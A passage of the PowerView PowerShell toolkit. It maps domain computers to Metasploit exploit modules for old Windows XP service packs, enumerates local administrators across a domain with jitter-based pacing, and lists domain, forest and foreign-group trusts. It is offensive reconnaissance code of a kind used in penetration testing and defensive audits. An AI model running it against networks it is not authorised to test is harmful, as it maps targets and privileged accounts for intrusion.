12122 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
12123 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
12124 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12125 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12126 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12127 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
12128 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
12129 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12130 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12131 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12132 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
12133 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
12134 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
12135 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
12136 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
12137
12138 # Status user
12139 Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."
12140
12141 # ----------------------------------------------------------------
12142 # Setup data table to store vulnerable systems
12143 # ----------------------------------------------------------------
12144
12145 # Create data table to house vulnerable server list
12146 $TableVulnComputers = New-Object System.Data.DataTable
12147 $Null = $TableVulnComputers.Columns.Add('ComputerName')
12148 $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
12149 $Null = $TableVulnComputers.Columns.Add('ServicePack')
12150 $Null = $TableVulnComputers.Columns.Add('LastLogon')
12151 $Null = $TableVulnComputers.Columns.Add('MsfModule')
12152 $Null = $TableVulnComputers.Columns.Add('CVE')
12153
12154 # Iterate through each exploit
12155 $TableExploits | ForEach-Object {
12156
12157 $ExploitOS = $_.OperatingSystem
12158 $ExploitSP = $_.ServicePack
12159 $ExploitMsf = $_.MsfModule
12160 $ExploitCVE = $_.CVE
12161
12162 # Iterate through each ADS computer
12163 $TableAdsComputers | ForEach-Object {
12164
12165 $AdsHostname = $_.Hostname
12166 $AdsOS = $_.OperatingSystem
12167 $AdsSP = $_.ServicePack
12168 $AdsLast = $_.LastLogon
12169
12170 # Add exploitable systems to vul computers data table
12171 if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {
12172 # Add domain computer to data table
12173 $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
12174 }
12175 }
12176 }
12177
12178 # Display results
12179 $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
12180 $VulnComputerCount = $VulnComputer.Count
12181
12182 if ($VulnComputer.Count -gt 0) {
12183 # Return vulnerable server list order with some hack date casting
12184 Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
12185 $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
12186 }
12187 else {
12188 Write-Verbose "[-] No vulnerable systems were found."
12189 }
12190}
12191
12192
12193function Invoke-EnumerateLocalAdmin {
12194<#
12195 .SYNOPSIS
12196
12197 This function queries the domain for all active machines with
12198 Get-NetComputer, then for each server it queries the local
12199 Administrators with Get-NetLocalGroup.
12200
12201 Author: @harmj0y
12202 License: BSD 3-Clause
12203
12204 .PARAMETER ComputerName
12205
12206 Host array to enumerate, passable on the pipeline.
12207
12208 .PARAMETER ComputerFile
12209
12210 File of hostnames/IPs to search.
12211
12212 .PARAMETER ComputerFilter
12213
12214 Host filter name to query AD for, wildcards accepted.
12215
12216 .PARAMETER ComputerADSpath
12217
12218 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
12219 Useful for OU queries.
12220
12221 .PARAMETER NoPing
12222
12223 Switch. Don't ping each host to ensure it's up before enumerating.
12224
12225 .PARAMETER Delay
12226
12227 Delay between enumerating hosts, defaults to 0
12228
12229 .PARAMETER Jitter
12230
12231 Jitter for the host delay, defaults to +/- 0.3
12232
12233 .PARAMETER OutFile
12234
12235 Output results to a specified csv output file.
12236
12237 .PARAMETER NoClobber
12238
12239 Switch. Don't overwrite any existing output file.
12240
12241 .PARAMETER TrustGroups
12242
12243 Switch. Only return results that are not part of the local machine
12244 or the machine's domain. Old Invoke-EnumerateLocalTrustGroup
12245 functionality.
12246
12247 .PARAMETER DomainOnly
12248
12249 Switch. Only return domain (non-local) results
12250
12251 .PARAMETER Domain
12252
12253 Domain to query for machines, defaults to the current domain.
12254
12255 .PARAMETER DomainController
12256
12257 Domain controller to reflect LDAP queries through.
12258
12259 .PARAMETER SearchForest
12260
12261 Switch. Search all domains in the forest for target users instead of just
12262 a single domain.
12263
12264 .PARAMETER API
12265
12266 Switch. Use API calls instead of the WinNT service provider. Less information,
12267 but the results are faster.
12268
12269 .PARAMETER Threads
12270
12271 The maximum concurrent threads to execute.
12272
12273 .EXAMPLE
12274
12275 PS C:\> Invoke-EnumerateLocalAdmin
12276
12277 Enumerates the members of local administrators for all machines
12278 in the current domain.
12279
12280 .EXAMPLE
12281
12282 PS C:\> Invoke-EnumerateLocalAdmin -Threads 10
12283
12284 Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded
12285
12286 .LINK
12287
12288 http://blog.harmj0y.net/
12289#>
12290
12291 [CmdletBinding()]
12292 param(
12293 [Parameter(Position=0,ValueFromPipeline=$True)]
12294 [Alias('Hosts')]
12295 [String[]]
12296 $ComputerName,
12297
12298 [ValidateScript({Test-Path -Path $_ })]
12299 [Alias('HostList')]
12300 [String]
12301 $ComputerFile,
12302
12303 [String]
12304 $ComputerFilter,
12305
12306 [String]
12307 $ComputerADSpath,
12308
12309 [Switch]
12310 $NoPing,
12311
12312 [UInt32]
12313 $Delay = 0,
12314
12315 [Double]
12316 $Jitter = .3,
12317
12318 [String]
12319 $OutFile,
12320
12321 [Switch]
12322 $NoClobber,
12323
12324 [Switch]
12325 $TrustGroups,
12326
12327 [Switch]
12328 $DomainOnly,
12329
12330 [String]
12331 $Domain,
12332
12333 [String]
12334 $DomainController,
12335
12336 [Switch]
12337 $SearchForest,
12338
12339 [ValidateRange(1,100)]
12340 [Int]
12341 $Threads,
12342
12343 [Switch]
12344 $API
12345 )
12346
12347 begin {
12348 if ($PSBoundParameters['Debug']) {
12349 $DebugPreference = 'Continue'
12350 }
12351
12352 # random object for delay
12353 $RandNo = New-Object System.Random
12354
12355 Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"
12356
12357 # if we're using a host list, read the targets in and add them to the target list
12358 if($ComputerFile) {
12359 $ComputerName = Get-Content -Path $ComputerFile
12360 }
12361
12362 if(!$ComputerName) {
12363 [array]$ComputerName = @()
12364
12365 if($Domain) {
12366 $TargetDomains = @($Domain)
12367 }
12368 elseif($SearchForest) {
12369 # get ALL the domains in the forest to search
12370 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
12371 }
12372 else {
12373 # use the local domain
12374 $TargetDomains = @( (Get-NetDomain).name )
12375 }
12376
12377 ForEach ($Domain in $TargetDomains) {
12378 Write-Verbose "[*] Querying domain $Domain for hosts"
12379 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
12380 }
12381
12382 # remove any null target hosts, uniquify the list and shuffle it
12383 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
12384 if($($ComputerName.Count) -eq 0) {
12385 throw "No hosts found!"
12386 }
12387 }
12388
12389 # delete any existing output file if it already exists
12390 if(!$NoClobber) {
12391 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
12392 }
12393
12394 if($TrustGroups) {
12395
12396 Write-Verbose "Determining domain trust groups"
12397
12398 # find all group names that have one or more users in another domain
12399 $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique
12400
12401 $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object {
12402 # ignore the builtin administrators group for a DC (S-1-5-32-544)
12403 # TODO: ignore all default built in sids?
12404 Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid }
12405 }
12406
12407 # query for the primary domain controller so we can extract the domain SID for filtering
12408 $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
12409 }
12410
12411 # script block that enumerates a server
12412 $HostEnumBlock = {
12413 param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
12414
12415 # optionally check if the server is up first
12416 $Up = $True
12417 if($Ping) {
12418 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
12419 }
12420 if($Up) {
12421 # grab the users for the local admins on this server
12422 if($API) {
12423 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
12424 }
12425 else {
12426 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
12427 }
12428
12429 # if we just want to return cross-trust users
12430 if($DomainSID) {
12431 # get the local machine SID
12432 $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
12433 Write-Verbose "LocalSid for $ComputerName : $LocalSID"
12434 # filter out accounts that begin with the machine SID and domain SID
12435 # but preserve any groups that have users across a trust ($TrustGroupSIDS)
12436 $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
12437 }
12438
12439 if($DomainOnly) {
12440 $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
12441 }
12442
12443 if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
12444 # output the results to a csv if specified
12445 if($OutFile) {
12446 $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile
12447 }
12448 else {
12449 # otherwise return the user objects
12450 $LocalAdmins
12451 }
12452 }
12453 else {
12454 Write-Verbose "[!] No users returned from $ComputerName"
12455 }
12456 }
12457 }
12458 }
12459
12460 process {
12461
12462 if($Threads) {
12463 Write-Verbose "Using threading with threads = $Threads"
12464
12465 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
12466 $ScriptParams = @{
12467 'Ping' = $(-not $NoPing)
12468 'OutFile' = $OutFile
12469 'DomainSID' = $DomainSID
12470 'TrustGroupsSIDs' = $TrustGroupsSIDs
12471 }
12472
12473 # kick off the threaded script block + arguments
12474 if($API) {
12475 $ScriptParams['API'] = $True
12476 }
12477
12478 if($DomainOnly) {
12479 $ScriptParams['DomainOnly'] = $True
12480 }
12481
12482 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
12483 }
12484
12485 else {
12486 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
12487 # ping all hosts in parallel
12488 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
12489 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
12490 }
12491
12492 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
12493 $Counter = 0
12494
12495 ForEach ($Computer in $ComputerName) {
12496
12497 $Counter = $Counter + 1
12498
12499 # sleep for our semi-randomized interval
12500 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
12501 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
12502
12503 $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
12504
12505 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
12506 }
12507 }
12508 }
12509}
12510
12511
12512########################################################
12513#
12514# Domain trust functions below.
12515#
12516########################################################
12517
12518function Get-NetDomainTrust {
12519<#
12520 .SYNOPSIS
12521
12522 Return all domain trusts for the current domain or
12523 a specified domain.
12524
12525 .PARAMETER Domain
12526
12527 The domain whose trusts to enumerate, defaults to the current domain.
12528
12529 .PARAMETER DomainController
12530
12531 Domain controller to reflect LDAP queries through.
12532
12533 .PARAMETER ADSpath
12534
12535 The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".
12536 Useful for global catalog queries ;)
12537
12538 .PARAMETER API
12539
12540 Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.
12541
12542 .PARAMETER LDAP
12543
12544 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
12545 More likely to get around network segmentation, but not as accurate.
12546
12547 .PARAMETER PageSize
12548
12549 The PageSize to set for the LDAP searcher object.
12550
12551 .EXAMPLE
12552
12553 PS C:\> Get-NetDomainTrust
12554
12555 Return domain trusts for the current domain using built in .NET methods.
12556
12557 .EXAMPLE
12558
12559 PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"
12560
12561 Return domain trusts for the "prod.testlab.local" domain using .NET methods
12562
12563 .EXAMPLE
12564
12565 PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
12566
12567 Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
12568 queries, reflecting queries through the "Primary.testlab.local" domain controller,
12569 using .NET methods.
12570
12571 .EXAMPLE
12572
12573 PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"
12574
12575 Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
12576
12577 .EXAMPLE
12578
12579 PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local
12580
12581 Return domain trusts reachable from the WINDOWS2 machine through API calls.
12582#>
12583
12584 [CmdletBinding()]
12585 param(
12586 [Parameter(Position=0, ValueFromPipeline=$True)]
12587 [String]
12588 $Domain,
12589
12590 [String]
12591 $DomainController,
12592
12593 [String]
12594 $ADSpath,
12595
12596 [Switch]
12597 $API,
12598
12599 [Switch]
12600 $LDAP,
12601
12602 [ValidateRange(1,10000)]
12603 [Int]
12604 $PageSize = 200,
12605
12606 [Management.Automation.PSCredential]
12607 $Credential
12608 )
12609
12610 begin {
12611 $TrustAttributes = @{
12612 [uint32]'0x00000001' = 'non_transitive'
12613 [uint32]'0x00000002' = 'uplevel_only'
12614 [uint32]'0x00000004' = 'quarantined_domain'
12615 [uint32]'0x00000008' = 'forest_transitive'
12616 [uint32]'0x00000010' = 'cross_organization'
12617 [uint32]'0x00000020' = 'within_forest'
12618 [uint32]'0x00000040' = 'treat_as_external'
12619 [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
12620 [uint32]'0x00000100' = 'trust_uses_aes_keys'
12621 [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
12622 [uint32]'0x00000400' = 'pim_trust'
12623 }
12624 }
12625
12626 process {
12627
12628 if(-not $Domain) {
12629 # if not domain is specified grab the current domain
12630 $SourceDomain = (Get-NetDomain -Credential $Credential).Name
12631 }
12632 else {
12633 $SourceDomain = $Domain
12634 }
12635
12636 if($LDAP -or $ADSPath) {
12637
12638 $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
12639
12640 $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
12641
12642 if($TrustSearcher) {
12643
12644 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
12645
12646 $Results = $TrustSearcher.FindAll()
12647 $Results | Where-Object {$_} | ForEach-Object {
12648 $Props = $_.Properties
12649 $DomainTrust = New-Object PSObject
12650
12651 $TrustAttrib = @()
12652 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
12653
12654 $Direction = Switch ($Props.trustdirection) {
12655 0 { 'Disabled' }
12656 1 { 'Inbound' }
12657 2 { 'Outbound' }
12658 3 { 'Bidirectional' }
12659 }
12660 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
12661 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
12662 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
12663 $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
12664 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
12665 $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
12666 $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
12667 $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
12668 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
12669 $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')
12670 $DomainTrust
12671 }
12672 $Results.dispose()
12673 $TrustSearcher.dispose()
12674 }
12675 }
12676 elseif($API) {
12677 if(-not $DomainController) {
12678 $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
12679 }
12680
12681 if($DomainController) {
12682 # arguments for DsEnumerateDomainTrusts
12683 $PtrInfo = [IntPtr]::Zero
12684
12685 # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
12686 $Flags = 63
12687 $DomainCount = 0
12688
12689 # get the trust information from the target server
12690 $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
12691
12692 # Locate the offset of the initial intPtr
12693 $Offset = $PtrInfo.ToInt64()
12694
12695 # 0 = success
12696 if (($Result -eq 0) -and ($Offset -gt 0)) {
12697
12698 # Work out how much to increment the pointer by finding out the size of the structure
12699 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
12700
12701 # parse all the result structures
12702 for ($i = 0; ($i -lt $DomainCount); $i++) {
12703 # create a new int ptr at the given offset and cast the pointer as our result structure
12704 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
12705 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
12706
12707 $Offset = $NewIntPtr.ToInt64()
12708 $Offset += $Increment
12709
12710 $SidString = ""
12711 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
12712
12713 if($Result -eq 0) {
12714 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
12715 }
12716 else {
12717 $DomainTrust = New-Object PSObject
12718 $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
12719 $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
12720 $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
12721 $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
12722 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
12723 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
12724 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
12725 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
12726 $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
12727 $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
12728 $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
12729 $DomainTrust
12730 }
12731 }
12732 # free up the result buffer
12733 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
12734 }
12735 else {
12736 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
12737 }
12738 }
12739 else {
12740 Write-Verbose "Could not retrieve domain controller for $Domain"
12741 }
12742 }
12743 else {
12744 # if we're using direct domain connections through .NET
12745 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
12746 if($FoundDomain) {
12747 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
12748 $_.PSObject.TypeNames.Add('PowerView.DomainTrust')
12749 $_
12750 }
12751 }
12752 }
12753 }
12754}
12755
12756
12757function Get-NetForestTrust {
12758<#
12759 .SYNOPSIS
12760
12761 Return all trusts for the current forest.
12762
12763 .PARAMETER Forest
12764
12765 Return trusts for the specified forest.
12766
12767 .PARAMETER Credential
12768
12769 A [Management.Automation.PSCredential] object of alternate credentials
12770 for connection to the target domain.
12771
12772 .EXAMPLE
12773
12774 PS C:\> Get-NetForestTrust
12775
12776 Return current forest trusts.
12777
12778 .EXAMPLE
12779
12780 PS C:\> Get-NetForestTrust -Forest "test"
12781
12782 Return trusts for the "test" forest.
12783#>
12784
12785 [CmdletBinding()]
12786 param(
12787 [Parameter(Position=0,ValueFromPipeline=$True)]
12788 [String]
12789 $Forest,
12790
12791 [Management.Automation.PSCredential]
12792 $Credential
12793 )
12794
12795 process {
12796 $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
12797
12798 if($FoundForest) {
12799 $FoundForest.GetAllTrustRelationships() | ForEach-Object {
12800 $_.PSObject.TypeNames.Add('PowerView.ForestTrust')
12801 $_
12802 }
12803 }
12804 }
12805}
12806
12807
12808function Find-ForeignUser {
12809<#
12810 .SYNOPSIS
12811
12812 Enumerates users who are in groups outside of their
12813 principal domain. The -Recurse option will try to map all
12814 transitive domain trust relationships and enumerate all
12815 users who are in groups outside of their principal domain.
12816
12817 .PARAMETER UserName
12818
12819 Username to filter results for, wildcards accepted.
12820
12821 .PARAMETER Domain
12822
12823 Domain to query for users, defaults to the current domain.
12824
12825 .PARAMETER DomainController
12826
12827 Domain controller to reflect LDAP queries through.
12828
12829 .PARAMETER LDAP
12830
12831 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
12832 More likely to get around network segmentation, but not as accurate.
12833
12834 .PARAMETER Recurse
12835
12836 Switch. Enumerate all user trust groups from all reachable domains recursively.
12837
12838 .PARAMETER PageSize
12839
12840 The PageSize to set for the LDAP searcher object.
12841
12842 .LINK
12843
12844 http://blog.harmj0y.net/
12845#>
12846
12847 [CmdletBinding()]
12848 param(
12849 [String]
12850 $UserName,
12851
12852 [String]
12853 $Domain,
12854
12855 [String]
12856 $DomainController,
12857
12858 [Switch]
12859 $LDAP,
12860
12861 [Switch]
12862 $Recurse,
12863
12864 [ValidateRange(1,10000)]
12865 [Int]
12866 $PageSize = 200
12867 )
12868
12869 function Get-ForeignUser {
12870 # helper used to enumerate users who are in groups outside of their principal domain
12871 param(
12872 [String]
12873 $UserName,
12874
12875 [String]
12876 $Domain,
12877
12878 [String]
12879 $DomainController,
12880
12881 [ValidateRange(1,10000)]
12882 [Int]
12883 $PageSize = 200
12884 )
12885
12886 if ($Domain) {
12887 # get the domain name into distinguished form
12888 $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
12889 }
12890 else {
12891 $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
12892 $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
12893 }
12894
12895 Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
12896 ForEach ($Membership in $_.memberof) {
12897 $Index = $Membership.IndexOf("DC=")
12898 if($Index) {
12899
12900 $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
12901
12902 if ($GroupDomain.CompareTo($Domain)) {
12903 # if the group domain doesn't match the user domain, output
12904 $GroupName = $Membership.split(",")[0].split("=")[1]
12905 $ForeignUser = New-Object PSObject
12906 $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
12907 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
12908 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
12909 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
12910 $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
12911 $ForeignUser
12912 }
12913 }
12914 }
12915 }
12916 }
12917
12918 if ($Recurse) {
12919 # get all rechable domains in the trust mesh and uniquify them
12920 if($LDAP -or $DomainController) {
12921 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
12922 }
12923 else {
12924 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
12925 }
12926
12927 ForEach($DomainTrust in $DomainTrusts) {
12928 # get the trust groups for each domain in the trust mesh
12929 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
12930 Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
12931 }
12932 }
12933 else {
12934 Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
12935 }
12936}
12937
12938
12939function Find-ForeignGroup {
12940<#
12941 .SYNOPSIS
12942
12943 Enumerates all the members of a given domain's groups
12944 and finds users that are not in the queried domain.
12945 The -Recurse flag will perform this enumeration for all
12946 eachable domain trusts.
12947
12948 .PARAMETER GroupName
12949
12950 Groupname to filter results for, wildcards accepted.
12951
12952 .PARAMETER Domain
12953
12954 Domain to query for groups, defaults to the current domain.
12955
12956 .PARAMETER DomainController
12957
12958 Domain controller to reflect LDAP queries through.
12959
12960 .PARAMETER LDAP
12961
12962 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
12963 More likely to get around network segmentation, but not as accurate.
12964
12965 .PARAMETER Recurse
12966
12967 Switch. Enumerate all group trust users from all reachable domains recursively.
12968
12969 .PARAMETER PageSize
12970
12971 The PageSize to set for the LDAP searcher object.
12972
12973 .LINK
12974
12975 http://blog.harmj0y.net/
12976#>
12977
12978 [CmdletBinding()]
12979 param(
12980 [String]
12981 $GroupName = '*',
12982
12983 [String]
12984 $Domain,
12985
12986 [String]
12987 $DomainController,
12988
12989 [Switch]
12990 $LDAP,
12991
12992 [Switch]
12993 $Recurse,
12994
12995 [ValidateRange(1,10000)]
12996 [Int]
12997 $PageSize = 200
12998 )
12999
13000 function Get-ForeignGroup {
13001 param(
13002 [String]
13003 $GroupName = '*',
13004
13005 [String]
13006 $Domain,
13007
13008 [String]
13009 $DomainController,
13010
13011 [ValidateRange(1,10000)]
13012 [Int]
13013 $PageSize = 200
13014 )
13015
13016 if(-not $Domain) {
13017 $Domain = (Get-NetDomain).Name
13018 }
13019
13020 $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
13021 Write-Verbose "DomainDN: $DomainDN"
13022
13023 # standard group names to ignore
13024 $ExcludeGroups = @("Users", "Domain Users", "Guests")
13025
13026 # get all the groupnames for the given domain
13027 Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
13028 # exclude common large groups
13029 -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
13030
13031 $GroupName = $_.samAccountName
13032
13033 $_.member | ForEach-Object {
13034 # filter for foreign SIDs in the cn field for users in another domain,
13035 # or if the DN doesn't end with the proper DN for the queried domain
13036 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
13037
13038 $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
13039 $UserName = $_.split(",")[0].split("=")[1]
13040
13041 $ForeignGroupUser = New-Object PSObject
13042 $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
13043 $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
13044 $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
13045 $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
13046 $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
13047 $ForeignGroupUser
13048 }
13049 }
13050 }
13051 }
13052
13053 if ($Recurse) {
13054 # get all rechable domains in the trust mesh and uniquify them
13055 if($LDAP -or $DomainController) {
13056 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
13057 }
13058 else {
13059 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
13060 }
13061
